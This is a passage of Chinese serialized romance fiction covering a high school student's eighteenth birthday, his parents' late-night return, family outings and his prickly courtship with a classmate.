贺思钧不说话了,纪羽还是烦闷,秋风不送爽,送给他的只有止不尽的烦恼。 今天本该是纪泽兰回家的最迟期限日,但昨天一早纪律就告诉他,纪泽兰和徐梁所在地区突发强对流天气,通信设备也受损,航班也大面积延误。所以,显而易见的,他们赶不回来。 没打通电话,纪羽就去翻了各种报道,影像拳头大的冰雹、被大风拦腰截断的树干,都证实了纪律没向他说谎。 不是一个很烂俗且恶心的生日惊喜。 那么危险的天气,纪羽担心得觉也睡不着,但也有一点委屈。 如果他们早点回来,就可以躲开风暴了。 天灾早不来晚不来,怎么刚好在他生日前到来呢? 另一个想法又在谴责他:都那么危险了,纪羽,你怎么还想着自己的生日呢!就算是纪泽兰和徐梁晚回来,他照样可以过一个很棒的生日,只是需要推迟几天,这有什么大不了的。 贺思钧的身量很高,肩膀也很宽,纪羽的脑袋被互相攻击的想法塞得满满当当,重得撑不住,就暂时靠在了贺思钧的肩膀上,视野中的景物随着走动的频率上下起伏着。 秋季的校服薄且柔软,贴身穿的仍是夏日的短袖,柔软的温热的触感轻易地顺着神经末梢传导至后颈,贺思钧的肩背突然收紧了,硬邦邦的,纪羽就像拍打枕头那样锤了几下,等到放松才重新靠上去。 “你不要有多余的想法。”纪羽警告,贺思钧没有应,步调放得更缓,脚步也更稳了。 其实就算贺思钧有别的想法,纪羽也无所谓了。 他想通了。 人尽其用,物尽其才,既然贺思钧愿意听使唤,那就干脆接受,舒服的是他,至于贺思钧心里有什么想法,那跟他有什么关系? 等高考一结束,志愿一填报,贺思钧爱去哪儿去哪儿。 几十个平行志愿,他不说报去哪儿,贺思钧还能黑了他的账号抄志愿吗?到时候他什么也不说,只要瞒到志愿填报结束,贺思钧也不能再跟到他学校里去。 什么在一个大学一个城市呀,最后保不齐他在祖国东边贺思钧在西边,他在长江南边,贺思钧去长江北边。 缓兵之计,纪羽也会! 想到贺思钧会被他耍得团团转,像拉磨的驴追着胡萝卜,最后发现真相时可能会有的样子,纪羽就忍不住笑出声。 对呀,他干嘛非得让自己忙活呢,是贺思钧说喜欢他,那就该让贺思钧着急上火。 贺思钧对纪羽的想法毫无所察,只觉得后背那一片滚烫,连着胸膛即将烧灼起来,他不懂纪羽为什么突然转变了态度,但总归是件好事。 他小心地调整了纪羽的位置,怕这奇怪的体温会烫到纪羽,不愿意再在他的背上待着。 纪羽似乎没有察觉他的异样,呼吸频率时快时慢,贺思钧看不到他的表情,也就更难猜到纪羽的想法。 下了桥面,路过几家店铺,贺思钧动作隐秘地借玻璃上的倒影观察纪羽的表情。 眉毛展开,却不是放松,嘴角平直,也不是生气。 路过蛋糕店的橱窗时,纪羽的眼神停留了几秒又飞速转走了。 察觉到贺思钧停下了脚步,纪羽抬起头,不满道:“你走不动了?” 贺思钧掂了掂他,轻声问:“要不要吃蛋糕?芋泥的。” 纪羽晃了几下小腿示意贺思钧他要下来。 “明天才是我生日,你不会记错了吧?”纪羽说,“而且纪律不让我吃奶油蛋糕。” 自从几年前他吃过蛋糕后呕吐、发高烧,身体炎症一直消不下去后,纪律就严格地管控他吃奶油制品了,虽然纪羽只是觉得是他刚好倒霉撞上了而已。 这几年徐梁都会联系专门的糕点师做无蛋奶的蛋糕,不过纪羽吃完了他做的饭,也没肚子再去吃蛋糕,生日当天,蛋糕只是作为一个许愿的装饰品存在在餐桌上。 但纪羽背地里偷吃过几次切块蛋糕,贺思钧很夸张地拿着他的医疗保障卡和病例本守在一旁,只许他尝一点味道,就把剩下的收走。 “我知道,但是明天你可能会吃不下,所以今天吃吧,你想吃很久了。” 纪羽看着贺思钧的眼睛,发觉他确实很认真,又扬起下巴说:“现在又不怕我吃东西把我自己吃死啦?” “不会死。”贺思钧立刻纠正纪羽的用词,“不会发生那种事。” 纪羽铁面无私:“你是不是想讨好我?” 贺思钧摇头,语调不再平直,像是被纪羽的体温染上了丝丝柔和的温度:“我只是不想,再让你错过。”—— 作者有话说:纪羽:想通了,点燃姓贺的,温暖我自己。 突然被奖励的贺思钧:?! 第33章 “还是我的眼光好, 刚刚那家店明明就很贵,还介绍原材料从哪里哪里来的,蛋糕也不如这家店做的好看。” 贺思钧放下成分说明单, 把保温杯的水倒进玻璃杯:“那下次再来这家店买。” 纪羽把奶油舔进嘴,也没说好还是不好。 下次?下次生日他都不一定在宁海了。 “我吃不下了。”刚刚觉得肚子还有空, 但喝了一口水,纪羽就饱了,嘴巴里也腻味。 看着桌面还只缺了个小角的蛋糕, 纪羽不着痕迹地伸出一根指头将它推远。 都怪贺思钧非要让他先吃点别的东西垫着, 温水把嘴里冲得甜腻腻的,纪羽侧目去瞧桌上的推荐单。 大概是纪羽的暗示太明显, 贺思钧站起身到前台点单, 片刻后端回一杯常温的果汁。 “我要加冰块的。”纪羽说。 贺思钧站在桌边:“没有加冰的。” 胡说八道,纪羽明明就听见别人杯子里冰块当啷响的声儿了。 “你又不听话了, ”纪羽面无表情, 瞧着是风雨欲来的前奏,“你再骗我试试看。” “你喝冷的会咳嗽, 去年支气管炎就复发了两次。” “不许威胁我, 那是概率问题!” 他今天就非要喝不可,就算贺思钧不给他买, 他也能自己买,但有能让贺思钧也不高兴的方法, 纪羽就必须要用! 贺思钧站在那儿, 低头就是纪羽扬起的脸, 透露着张牙舞爪的气势,抿着嘴,又倔又气, 一股甜香气环绕着,更像是从纪羽薄到透明的皮肉里钻出来的。 纪羽对他的态度更像是回到了以前,但更不客气一点,语调总是上扬的,不再可怜巴巴地打着圈拖长,问他怎么办。 “你有没有听我说话?”纪羽正是想发脾气的时候,见贺思钧还敢走神,抬脚踹在贺思钧小腿上。 好痛。 小腿骨不偏不倚挨了一下,贺思钧回神,纪羽眼睛都红了一圈,又变得好可怜。 他蹲下来,手掌一圈就将纪羽脚踝握在手心:“哪里痛,鞋子脱了我看看。” 纪羽用力抽回小腿,没成功,还好穿着鞋子,只是脚尖挤了一下,就这一会儿也不疼了,就是贺思钧总是不分场合的反应,让他脸皮顿时红了。 伸手捣了贺思钧一拳,纪羽气汹汹:“我要喝冰水!” 拳头不轻不重,打在胸口闷响一声,贺思钧松了手站起身,眼神落在纪羽身上,有一瞬间的晦暗。 纪羽毫无所察,收回腿往座位里坐了坐。 “还说喜欢我…结果连杯水都不给我买……”纪羽嘟嘟囔囔的,不知道是说给他自己听的,还是特意说给某个人听的。如果贺思钧再拿什么喜欢他就要负责的话来压他,他就立马拿着书包走人。 “喝雪梨汁可以吗?”贺思钧突然说。 “不要。” 纪羽早就想好了:“我要喝凤梨百香果的,七分糖正常冰,一颗冰都不可以少。” 贺思钧得了他的吩咐,转身重新点单去。 桌面上的苹果汁看着孤零零的,纪羽勉为其难尝了一口,咂吧一下,很诚实地将它推到贺思钧那边去,无聊的人配无聊的果汁,很完美。 没等多久,贺思钧端着纪羽钦点的冷饮回来,纪羽还发表了他的意见: “你的手太烫了,会把杯子捂热的,你看,外面都有水珠了,下次你要用托盘端,知道吧。” “我知道了。”贺思钧聪明的智商暂时占领了高地,没说还可以有下次单独出来的机会吗这种话。 果汁沁凉占据了口腔,纪羽满意地喝了一大口,看着桌面一大堆的残余,又下了吩咐:“剩下的你现在吃了吧,我也带不走,你打包回去也不好吃了。” 贺思钧嗯了一声,拿起叉子,像完全察觉不到腻,像吃大米饭似的一口一口塞进嘴里。 夹心里的芋泥很厚重,纪羽盯着他看了一会儿,被冲刷过的甜腻感又泛上来,好心劝告:“吃不下就算了……” 苹果汁被端起一饮而尽,贺思钧语调平静:“没关系,吃得完,不会浪费。” 纪羽没吃完的饭团也贡献了出来,怕贺思钧吃得太快,腻死过去,纪羽还找了话题说:“你找到那个人没有?” 听到这儿,贺思钧果然缓下速度,说道:“有人见过那把贝斯,等信息再明确一点,有了确切的地址我会过去看看。” “我也要去!” 吸管上留下道道深刻的牙印,纪羽咬牙切齿道:“我要把他的琴砸烂,他要是还敢做一把,我就要告他!” 贺思钧抬头:“我可以把他的头罩住,绑起来,你打他一顿。” “嗯?” “他看不到你,就不能指认你,不打他的要害部位,伤情鉴定也够不上轻微伤。” “你说这些干嘛啊,”纪羽看他的表情根本判断不出贺思钧是在开玩笑还是认真的,“我打他干什么?” 动物奶油塌陷得很快,明明制作需要四十分钟,但端上来没一会儿,整块蛋糕就软趴趴地倒了,奶油融化后混着芋泥的色泽像一滩泥水。 贺思钧看着一盘狼藉沉默了一会儿:“没什么。” 什么没什么,纪羽咕咚又喝了一大口果汁,啪的捂上脑袋:“好冰。” 保温杯被拧开,纪羽接过灌了两口温水,一个念头电光石火地闪过。 “你不会是在纠结,你和那个贝斯手我更讨厌谁吧?” 贺思钧顿了顿,面上明显带了点错愕:“没有,是我的错,你怪我是应该的。”说完,他又把蛋糕塞进嘴里,几乎没有咀嚼地吞下去。 “有点腻,剩下的水我可以喝吗?” 纪羽愣怔地点点头,回过神来贺思钧已经把果汁和蛋糕都一扫而空了。 冰块还在杯子里没化开,纪羽抬头横他一眼:“你故意的!” 贺思钧把空盘递给店员,没听懂似的:“什么?” 果汁确实太冰了,反正他也不想喝了,纪羽决定放过贺思钧这一次。 “你还有那个贝斯手我都讨厌,都不是好东西,还要比一个高低出来吗?” 已经结过账了,纪羽背着书包向外走,贺思钧跟在他身后,维持着半步远的距离。 “我也没有揍你,我不是一直在和你和平解决么,”纪羽停下脚步站到街边,“不要想那种极端的方法好不好,我是不讲道理的人吗?” 他都没和贺思钧互殴,已经很有涵养。 贺思钧也很赞同:“你不是。” 纪羽点点头,没再继续这个话题,抬头望了一眼。 快到中秋,只差一角就是满月。距离他的十八岁,也只差最后几小时。 蛋糕有点腻,但味道其实还不错,至少很甜,纪羽发觉自己好像也没有那么伤心了,就此决定和贺思钧说拜拜,打道回府,半点没有利用完就扔的愧疚:“我要回家——你蹲下来干嘛呀?” “你说要我背你走回去……” 贺思钧被扯了一把站直,回身看纪羽,眼神像条雪橇犬似的。 “我让纪律来接我,你自己回去吧。”这儿离家里还有好几公里远呢,走要走到什么时候去,纪羽都困了。 从包里翻出手机打电话,刚接通纪羽就挂断,然后发了定位过去,【接我】。 扭头一看,贺思钧还没走。 “我们还没和好。” 纪羽的意思是不允许蹭车,他们俩可还没好到可以一起坐在后座回家的程度。 贺思钧只是把他的书包拎起来:“我等你上车再走。” 纪羽干脆把包让给他背,两人站在路灯下,影子都矮矮的一坨,纪羽站远了一步,他的影子就比贺思钧高出一截来。 “贺思钧,我都要十八岁了,你还只有十七呢。”纪羽突然为此很骄傲。 灯光把贺思钧的脸照得明暗分明,轮廓很深,其实比纪羽看着要显大,他看着纪羽低头露出的细白一截的后脖颈:“我们只差八个月。” 纪羽登时很不高兴地抬头:“大八秒钟也是大,明天我就是‘已成年’了,你想玩游戏还得借身份证呢,记得回家把手机打开调成青少年保护模式。” 越说越觉得贺思钧和他的差距真大,纪羽自觉和贺思钧已经不是一个层面的人了。 贺思钧还不成熟,而他正在走向包容和理解。 可能都不用等到高考结束,贺思钧就会理解到他们俩之间的差距犹如鸿沟不可逾越了。 难怪纪律总是装模作样的,原来他是以这样自上而下的视角看待自己的。 贺思钧没作声,似乎是不认同纪羽说的话,半晌才说:“只是时间问题,规定的时间到了,有些事就能解决了。” 言下之意是成年也没什么大不了的,但纪羽大人不记小人过,放过了他。 贺思钧却又问:“你和辽光约好时间了吗?” 纪羽皱鼻子:“你不会也要去吧?” 贺思钧很诚实地答是。 “再说吧,”纪羽没有直接拒绝,“到时候看我心情。” 纪律意外地来得很快,贺思钧把书包放上后座就自己离开了。 纪律抬起后视镜,问:“你们是和好了还是没和好?” 纪羽躺在宽敞的后座上翻了个身打哈欠:“不要你管。” 见他睡着,纪律顺手关停了电台,到了家才把他喊醒。 纪羽太困了,强撑着洗了澡换上睡衣,打算睡醒了再起来把作业补好,睡着前还在想纪律把他叫醒时还说了句什么,好像是有关什么火车飞机的,可能是他又要出差吧。 反正他也不想和纪律一起庆祝生日,就算纪律明天就走也不关他的事。 纪羽沉沉陷入梦乡。 半夜里,房门被轻轻开启,带着雨露的味道靠近床侧,温和的怜爱的嗓音响起: “宝贝。”—— 作者有话说:哼哼唧唧小鸡即将上线。 第34章 抚摸脸颊的掌心并不算十分柔软, 带着一丝干燥的粗粝,纪羽本能地追逐着。 他睡得不安稳,蜷着腿低着头, 眉心蹙起,像是埋怨。 过了一会儿, 他才迷蒙地应了声,声音轻轻的,在安静的夜里也不分明。 “要不别弄醒了, 让他睡, 明天早上再叫。”男声低低响起,刻意地压着嗓子, 只剩下气音。 “等天亮了他该不高兴了, 你看小宝嘴巴都翘起来了,生闷气呢……” 两人说着话, 纪羽突然便醒了, 睁开眼看着床边两人模糊的脸,走廊的光在他们身后透进来。 “醒啦, 爸爸妈妈回来了, 和你说一声,是不是等很久了?” “妈妈……”纪羽抓着纪泽兰的手掌呆望着, 纪泽兰俯下身,还像对小孩那样笑着说:“怎么了, 睡懵了不认识了?” 纪羽挪着要往她怀里靠, 被子和衣料摩擦簌簌作响, 身体暖烘烘软绵绵,问她:“怎么才回来呀……” 纪泽兰搂着他,手从肩头顺到后背:“对不起哦, 让你等那么久,真可怜我们宝宝……”纪泽兰低下头在他额头上亲了一口。 徐梁搓热了手伸进被子里,揉了把小儿子的小腿肚:“都不叫爸爸一声,最近钙片还在吃吗,还抽不抽筋?我摸着都瘦了,又和你哥吵架不好好吃饭了……” “他先欺负我的。”纪羽从迷糊里缓过劲来,坐起身依旧软骨头地依偎在纪泽兰怀里,“他抽烟还对我凶,还说不管我了都随便我,还有冷暴力!你们不在家都没看到。” 纪羽念念叨叨地说了很多,到最后委屈得直哭,两手抹眼泪也抹不干净,把纸巾浸透了一张又一张。 “我还以为…以为你们不回来了,我不想过生日了!你们都不关心我,骗我说早点回来的…我一直等的……”纪羽呜呜咽咽的,哭得眼皮都肿了,夜里情绪来得又猛又急,难过像团茧把纪羽包裹起来。 纪泽兰和徐梁离开家两个月,心里本就愧疚,一时又是抱着晃又是哄,纪羽的手脚都被揉得暖烘烘。 “好了好了不哭了,已经是第二天了,过生日是不是要开开心心的?” 冰毛巾敷在眼睛上,凉凉地贴着滚烫的眼皮,纪羽抽噎了一下:“嗯。” 纪泽兰心疼他半夜里起来哭了一场,喂他喝了点水,把提前准备好的礼物拿出来逗他,还说道:“今年我和你爸爸就不出去了,待在家里陪你,好不好?” 纪泽兰三十多岁时才有了纪羽,纪羽从她手掌可以托起来那么大长到十八岁,在她眼里也没什么分别,依旧爱哭、粘人也很敏感。 纪羽睁着那双被水浸透的,泛着淡蓝色的眼睛看她,也看徐梁:“真的?不可以骗我……” “只有你爸会骗你,妈妈和你说过谎吗?” 从前纪羽还小,有回客户临时变卦,两人急着赶去处理,纪羽大哭不止攥着徐梁的衣角不肯松开,徐梁就骗他,睡一觉他们就会回来,纪羽信了,等了好多天才重新等到他们,为此接连生了一个月闷气,之后无论徐梁说什么他都不肯信了。 在纪羽眼里,纪泽兰才是说一不二的,永远能拍板家里的一切。就算是徐梁是替两人背锅,也不妨碍纪羽信任她更多些。 得了纪泽兰的承诺,纪羽当即云销雨霁,眼泪也停了,不过仍谨慎地问:“是新历还是农历的年?” “当然是农历了,过年当然得在家里一起过。”徐梁趁机卖好道。 纪羽得到保证,终于能安心躺下。 “睡吧,生日快乐宝贝。”纪泽兰把被子掖紧,纪羽攥了下她的手指,闭上眼睛睡了。 关上房门,纪泽兰和徐梁都松了口气。接连两天的中转、航行也让他们累得够呛,匆匆忙忙到家,只来得及换身衣服,但好歹是赶上了。 纪律走上楼梯:“刚煮了面,吃了再休息吧。” 纪泽兰下楼,看着大儿子在家依旧整齐的穿着,走动时宽阔的肩膀也是稳定的,像他整个人的情绪一般,缺少起伏。 “你也辛苦了,照顾小宝不容易吧?” “没有,”纪律话中不见端倪,面上自然而然呈现的漠然却因放松而舒缓下来,“他最近很乖。” 纪泽兰笑笑,没有提及纪羽对他的评价:“你还是第一次这么说。” 徐梁没吭声,去厨房盛面,半晌探出身道:“面多了,老大,你也吃一碗。” 深夜里三个人吃了一碗清汤面就回了房间。 徐梁洗漱过后从浴室出来,见纪泽兰还没睡着,走过去问:“想什么呢?” 纪泽兰坐起身靠在床头,拿笔记帐:“咱们俩是不是也该退休了,一把年纪了东奔西跑的,钱也赚不完。” 另一侧床榻下压,徐梁躺下了:“咱俩才五十多,又不是半截身子入土了。” “小羽都十八了……再过一年他都该上大学了,日子过得真快,我感觉才抱着他学走路没多久呢。” 话音落下许久,徐梁也没吭声,纪泽兰扭头看他拿起了手机,打了他一下:“干嘛呢?” “哎呦,老胳膊老腿的还打。”徐梁揉了揉手腕,他和纪泽兰身体素质都不错,面上看着也才四十出头,还不至于这碰一下就怎么着了,但心里却是受到了振动。 或许真是年纪越来越大,也越来越容易心软,追求也不够坚定了。从前只想着趁还有力气跑得动,有拼劲,再多干几年,多留下点什么,风里来雨里去也不觉得累。 今晚纪羽往怀里一钻,抹着泪说想他们,礼物也不看了,抱着手臂蹭,眼巴巴地等他开口说会留下来。那一瞬间,他甚至想问自己为什么要走? 时间过得太快了,他们都没意识到自己不再年富力强,纪羽就即将脱离他们的怀抱了。 徐梁眯着眼数账户里的数字:“你看看存款是不是够了,当初说攒得差不多就不赚了,我看还多出个零了呢。” 除了日常的花销,他们还问纪羽专门设立了储蓄账户,哪怕纪羽毕业后什么都不干也足够这辈子衣食无忧。 纪泽兰接过手机,翻了下入账详情:“花钱哪有嫌多的。” “刚才谁说要退休了?” “反正现在到小羽高中毕业前,工作可以暂时放一放了。” …… 纪羽尚不知道因为他稀里哗啦一顿哭嚎,爹妈已初步计划起退休事宜。 一早起来,眼睛是肿的,头是晕的,记忆也模模糊糊的。 纪泽兰回来了吗,还是他在做梦? 窗帘缝隙中透出的日光灼眼,纪羽从枕头底下掏出手机。 一水的祝福蹦了出来,连柳承都在零点给他发了生贺。 但最重要的不是这个,屏幕上方时间显示已经是上午八点半。 咚咚咚的脚步声从楼梯上传来,韩姨抬头笑着招呼纪羽:“怎么还穿校服呢,快换身衣服再下来,徐先生煮了糖水。” “那他人呢?”纪羽上身撑在栏杆上,上下张望,“我今天不上学啦?” “在院子里呢,辛苦那么多天休息一天又没关系的啦,爸爸妈妈都回家了,高高兴兴过生日嘛。”韩姨说着上来赶他,“又趴栏杆上,多危险!” 纪羽蹦回房间里把校服脱了,换了身浅色的卫衣就跑下楼。 远远地就看见纪泽兰还有徐梁在院子围栏边栽东西。 纪泽兰听见声转头见他跑来迎了几步:“别跑,慢慢走,我和你爸又不会跑。” 纪羽放慢了步频,但依旧小跑着蹭到纪泽兰身边:“妈妈!” 徐梁把铁锹一杵:“咳。” “爸!”纪羽扑过去趴到他背上,徐梁背过手揽着他:“哎!” “好了,”纪泽兰把他拎下来,“你爸又是汗又是土的,别把你碰脏了。” “好。”纪羽的皮肤在阳光下白得透亮,眼睛眨巴眨巴的,已经确定的事还要向纪泽兰再确认:“今天我不上课啊?” “对啊,妈妈好久没见到你了,今天在家陪我们一天,好不好?” 纪羽眼皮还红红的,却是笑弯了眼:“好啊!” 纪泽兰也笑:“你哥说你最近上学可积极,都没给你请过几次假。” 纪羽才不乐意提他,立刻转移话题道:“这栽的是什么啊?” “铁线莲,你以前很喜欢的,天天都要来看有没有开花,不过今年花期已经过了,得等明年了。” 当初纪羽突然发病,又找不到病源,医生建议他暂时不要再接触花粉,徐梁就将院子里的花草都铲了,除了那棵院墙外的柚子树幸存,连纪羽最喜欢的淡紫色小花也没例外。 纪羽出院回来时看到光秃秃的两面院墙,还难受了好一阵,连窗帘都不肯拉开。 后来虽然仍是病因不明,却也排除了无辜的花草的嫌疑,可惜纪羽病情反反复复,也没人再有心思再去将花栽回来。 徐梁把错综虬结的根系小心地脱出花盆:“没想到小钧还留着种,这么多年了照顾得也挺好。” 见纪羽一直瞧着他手里的枝,徐梁猜他是担心,便说:“放心吧,爸爸肯定能把它种活,你看这根,长得多粗,明年就能爬到墙上去了。” “贺思钧送来的?”纪羽又确认,皱起一点眉。 “是啊,你韩姨说很早骑车来的,送了花就走了,中午不方便叫你干爸干妈,是晚上叫他来家里吃饭,还是过几天你们单独出去玩?” “都不要!”纪羽严词拒绝。 贺思钧居然敢私藏他的花八年都不告诉他? 真是阴险!—— 作者有话说:这章好像有点太小宝宝了(目移 第35章 纪羽说不要, 那就是真不要。 “三鲜汤要不要?” “不要。” “好,那来份豆腐羹?” “不要,里面有豌豆, 好难吃。” 徐梁哄他:“这家做得不一样,不会乱放配料, 你不喜欢吃的都不放,爸爸点一份,和你巴老师一块儿尝一尝, 嗯?” 纪羽斜坐着, 胳膊搭在椅背上回消息:“好吧。” 徐梁又问了他的意见把剩下几道菜安排好,伸手理了理纪羽的衣领:“我们小羽穿什么都好看, 下午让你妈妈带你去买衣服再做个发型。” 纪羽说“好”, 又在包厢里来回走了几圈四处看看打发时间。 中午来吃饭的都是熟悉的叔伯阿姨,没有亲缘相连, 但关系很不错, 都提前记了日子空开九月底,一约就约上了。 饭桌上没备酒, 每人一杯清茶喝着, 说的都是纪羽小时候的事。 纪羽小时候眼睛大,又怕剪刀, 头发长得可以扎小辫,声音也弱弱的, 看起来更像是纪律的小妹妹, 大伙都很喜欢逗他, 看他眼泪汪汪的又要哄。到了现在,还在问纪羽更亲谁争得面红耳赤。 纪羽被这个叔那个姨盯着,转头就扭向巴文旭:“最喜欢爷爷。” 巴文旭面上不显, 喝了一口鱼汤,吹胡子道:“也就嘴上说得漂亮!”走时却把脖子里挂的吊坠塞到纪羽手里。 回家的路上,纪羽把红包从口袋里翻出来,堆在后座数。该送的礼物都送到家去了,红包也只是讨个吉利,但都鼓鼓囊囊塞得也不少。 纪羽难得不是数卷子数到手软,心情很轻松。 在家休息了一会儿,等到送完巴文旭的纪律回来,就由纪泽兰带着他又出发向商场里去,徐梁留在家里准备晚饭。 “你不用去上班吗?”纪羽探头问正在开车的纪律。 纪律眉梢也不动一下:“我去上班,你来当司机?” “哼,”纪羽缩回去靠向纪泽兰,“我也成年了,马上就能考驾照了。” 纪律不接话,纪羽就嘀嘀咕咕地开始讲他喜欢什么样的车,等他有了车想去哪儿都不用看其他人的脸色了。 “你能开车上路那一天,希望无人驾驶技术已经普及了。”纪律又呛声道。 纪羽马上喊道:“妈妈!你看他呀!” 听着两人拌嘴,纪泽兰也不嫌闹,只是顺着纪羽的意思说:“那寒假里要不要给你报一个驾校?” “那还、还是有点赶,我很忙的,等我高考结束再考吧。”纪羽嘴上说说,也没有非要逞这个威风,学东西多累呀,光是学那六门科目都把他累够呛了,他又不傻,寒假里他要干的事多了呢。 纪律就知道他会这么说,很刻意地发出了一声嘲笑,下车时纪羽特意落后几步在纪律笔挺的裤腿上踹了个脚印。 一天到晚只会这几招。 纪律俯下身拍掉灰印,跟在纪羽身后进店。 悠扬典雅的音乐在厅内环绕,纪羽觉得和走来走去的模特对视很尴尬,一直倚在沙发上用平板看饰品。 这个戒指戴在手指上弹贝斯一定很酷。 这条丝巾好像可以围在脖子上,或者穿在裤腰上。 这个项链也好看,叠戴着应该更好看。 如果有再特别一点的就好了…… “这几套都拿我预留的尺码,直接送到之前的地址。” 纪泽兰点了几个模特身上的衣服,又问:“有没有什么看中的?” 纪羽放下平板,想着反正也不是很喜欢还是算了,就听身旁的纪律对店员道:“新一季的配饰也要了。” 纪羽才要开口说他怎么那么不知勤俭节约。纪律就看着他说:“我买单。” 纪羽:“那再加一套。” 纪泽兰又带着他到几家店里试了几套冬衣,纪羽困得一直在打哈欠,后来理着发就睡着了。 “醒醒。” 纪羽睁开眼,镜子里的人已经换上了新发型,理发师再三以打折请求拍照留念都被纪律拒绝了。 纪羽的情绪都写在了脸上,听到夸赞就很容易看出他的骄傲来,被他那双微微上扬的眼睛看着,就忍不住想叫他更高兴。听着理发师越来越夸张的吹捧和越来越高的折扣,纪律毫不迟疑地将纪羽拉了出去。 “干嘛呀,别走那么快。”纪羽还没来得及凑近看他的新发型,在路过的玻璃里看自己的倒影,很满意地点点头,“以后我还要来这里染头发。” “染什么头发?嫌自己头发太多我帮你剃了。”纪律闻言很不客气地驳回纪羽的幻想。 “又不用你管。”纪羽现在很有底气,也不怕纪律的威胁,“我是成年人了,我爱怎么样就怎么样,不用经过你的批准。” 他就喜欢新颖的、华丽的、引人注目的各种东西,像纪律这种老古板怎么会懂? 纪律看着纪羽,看到他青涩的脸上泛着柔亮而愚蠢的光,还是没有在他生日当天强硬地扭转他的想法。 纪羽的想法瞬息万变,过几天说不定又冒出了新点子,和他争论只会事与愿违。 两人暂时平息战火,相安无事地去到纪泽兰发来的地址。 私人银行。 纪律很不赞成地看着纪羽在协议上签字,对纪泽兰说道:“他还什么都不懂,要开账户也可以再等两年。” 这么一笔钱放到纪羽口袋里,纪律脑子里都能浮现纪羽被哄得团团转只会刷卡的样子,实在是危险得不得了。 “没事的,小宝乖着呢,你要多给他点信心。”纪泽兰面上仍挂着慈爱的笑,婉拒了接待人员的保险信托推荐。 “我也有我的银行卡啦。”纪羽拿着卡转过来,袖口下滑露出一截细白的手腕,很是欣喜地看着纪泽兰。 “太好了宝贝,以后就能自己支配生活费了。” “里面所有的钱都给我随便用吗?” 纪律听到纪羽说随便两个字眉心就一跳,又是想到纪羽说的鬼火又是想纪羽把头发染成五颜六色的。 可惜纪泽兰完全没有接收到纪律的脑电波,毫无忧患意识道:“只要是你想,就可以按自己的想法支配它们,不用担心会花完,妈妈这里还给你存着呢。” 纵容与信任毫不掩饰地从纪泽兰眼里流出,柔软的,温和的,纪羽鼻腔深处又变得酸胀,觉得自己在此时回想起纪泽兰不在家的日子为此埋怨是很白眼狼的行径。 但他确实在一瞬间很难过,却又不知道怎么解释。 纪羽把那张卡捏了又捏,手心被硌得慌。 “妈妈,能不能再办一张卡呀,这张卡还是给你,你每个月给我转一点。”纪羽把握得热热的卡塞到纪泽兰手心,很小声地商议,不想被其他的人听去似的。 可纪律还是听到了,愣怔一瞬,从纪羽略显紧张的神色中察觉到了什么,但还来不及细想,就被打断了。 “那让哥哥替你存着?”纪泽兰故意这么说。 纪羽立刻就蹦了起来,说不行,并用一种警觉的眼神看向纪律。 不过纪律用事实证明,他根本不需要觊觎纪羽那点东西。 “这个表真的送给我了吗,你不会要回去吧?”纪羽迫不及待地将腕表戴到手上,纪律定制时要求款式不必太张扬,浅蓝色调的表盘,银色的表带,缠在骨节凸起的腕骨上,意外地相称。 纪律别开眼,将盒子收起来:“只要你不乱丢被我捡到。” 纪羽已经不管他了,举着手跑进厨房炫耀他的又一件成年礼物。 倒也不是没有戴过表,但纪律送的表总归感觉不一样。纪羽想,可能是纪律天天都把自己打扮得人模人样,西装革履,连头发丝都永远固定在同一位置。 纪羽认为他精英做派的核心是抻开衣袖总能看到一块高端大气上档次的腕表,低头看表时的动作很适合装腔作势。 以前纪羽就偷戴他的表,一抬手就从手腕滑到手肘,其行为大概和小女孩偷穿妈妈的高跟鞋差不多,幻想着自己有一天也会变成响当当的大人,认为自己戴上这样的标志物就会暂时变得不一样。 抱着这样的虚荣心,吃饭时纪羽一直把袖口拉到小臂,露出他的那块表来,用一种挑衅的、自得的眼神偷偷看了纪律好几眼。 纪律没有和他计较,暂时将下午纪羽异样的表现放置一旁。 值得高兴的事还不止这一件,晚饭后的蛋糕不再是看起来就很健康的那种。 “赶巧了那师傅说材料不够,没办法做原来那种,我就换了个样式的。”徐梁把柚子形状的慕斯蛋糕端上来,“反正我们身体也慢慢地好起来了,吃个蛋糕也没什么……” 说着他还扫了一眼大儿子的神色,见他没有出声反对暗中松了一口气,插上蜡烛点着关了房间里外所有的灯。 烛火在呼吸间抖动,纪羽紧紧地闭上眼,一口气许了很多个愿望,火光摇曳,将他的面容映成淡金色。 几个呼吸之后,他终于睁开眼,松开虔诚交叉的双手,双眼在云里雾里似的光里,微微发亮。 轻轻一吹,蜡烛灭了,与此同时是响起的亲切的声音:“生日快乐宝贝。” 第36章 晚饭后纪羽接到了电话。 来电人显示贺思钧。 纪羽走到院子里坐上了吊椅, 接通电话。 “喂,干嘛?” “我能来找你吗?” 纪羽腿一蹬,摇椅前后晃起来, 风吹着碎发。 “不批准。” 电话那头沉默了一会儿,又道:“展舒文和柳承的礼物还在我这儿, 我可以一起送过去给你。” 还会绕弯子了。 纪羽依旧没松口:“放一晚上应该也不会坏吧,明天我又不是不上课了。” 贺思钧说:“我也有礼物要送给你。” 这就正中了纪羽想嘲讽他的下怀。“贺思钧,你是什么人有特权啊, 想见我就见我, ”纪羽窝进圆形的巢里,小腿在半空中乱晃, “我又不缺你的礼物。” 话筒那边沉默了, 一阵令人心情愉悦的沉寂。 他从前怎么不知道,让贺思钧哑口无言是这么有趣的事。朋友之间或许是平等的, 但他们现在又不算是朋友, 还要再多添一个追求和被追求的关系,纪羽当然有着足够的权利颐指气使、挑三拣四。 他没必要再包容贺思钧一板三眼的性格, 而是可以大肆挑刺, 这同时也是贺思钧自己所要求的,他何乐而不为呢。 “我知……” “十五分钟, 你能赶过来我就见你。”纪羽坏心眼地说。 纪家所在的小区并不在繁华地带,从其他街道赶来都需要至少十分钟的车程, 贺思钧但凡铁了心要来, 都会废好大一番功夫。 贺思钧却是立刻应下:“好, 我马上到。” 这骤然坚定的语调都叫纪羽怀疑自己定的标准是不是宽松了,以后还得更精进自己的本事制定更严苛的要求才行。 月影在纪羽脚下摇晃,虫鸣声伴随着夏季的远走而消寂, 院子里只有纪羽手机里传出的游戏音效。 还没将西瓜大卸八块,一串急促的脚步声就在院门前响起。 是贺思钧到了。 纪羽从吊椅里支起上半身,重量的变化却让吊椅不断地晃动,直到被一双手把住了平衡。 “你怎么到那么快?”纪羽的脚落到地上,抬眼去看贺思钧,“你不会就在小区门口打的电话吧。” 贺思钧是跑进来的,呼吸略比平时快一些,闻言顿了一下,没有否认:“嗯。” “你这是作弊。”纪羽很不满。 